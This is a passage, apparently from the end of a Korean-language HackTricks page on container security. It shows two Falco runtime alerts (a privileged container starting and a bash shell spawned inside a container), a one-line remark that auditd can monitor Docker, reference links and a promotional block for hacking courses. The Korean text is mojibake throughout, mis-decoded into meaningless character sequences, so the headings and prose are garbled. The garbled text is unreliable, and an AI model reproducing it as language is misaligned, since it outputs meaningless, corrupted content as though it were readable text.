2021-01-04T12:03:24.664354000+0000: Notice Privileged container started (user=root command=container:4443a8daceb8 focused_brahmagupta (id=4443a8daceb8) image=falco:latest)
2021-01-04T12:04:56.270553320+0000: Notice A shell was spawned in a container with an attached terminal (user=root xenodochial_kepler (id=4822e8378c00) shell=bash parent=runc cmdline=bash terminal=34816 container_id=4822e8378c00 image=ubuntu)
```
#### Docker ๋ชจ๋ํฐ๋ง
auditd๋ฅผ ์ฌ์ฉํ์ฌ docker๋ฅผ ๋ชจ๋ํฐ๋งํ ์ ์์ต๋๋ค.
### ์ฐธ๊ณ ์๋ฃ
* [https://ti8m.com/blog/Why-Podman-is-worth-a-look-.html](https://ti8m.com/blog/Why-Podman-is-worth-a-look-.html)
* [https://stackoverflow.com/questions/41645665/how-containerd-compares-to-runc](https://stackoverflow.com/questions/41645665/how-containerd-compares-to-runc)
{% hint style="success" %}
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
HackTricks ์ง์ํ๊ธฐ
* [**๊ตฌ๋
๊ณํ**](https://github.com/sponsors/carlospolop) ํ์ธํ๊ธฐ!
* **๐ฌ [**Discord ๊ทธ๋ฃน**](https://discord.gg/hRep4RUj7f) ๋๋ [**ํ
๋ ๊ทธ๋จ ๊ทธ๋ฃน**](https://t.me/peass)์ ์ฐธ์ฌํ๊ฑฐ๋ **Twitter** ๐ฆ [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**๋ฅผ ํ๋ก์ฐํ์ธ์.**
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) ๋ฐ [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํ์ ๊ณต์ ํ์ธ์.**
{% endhint %}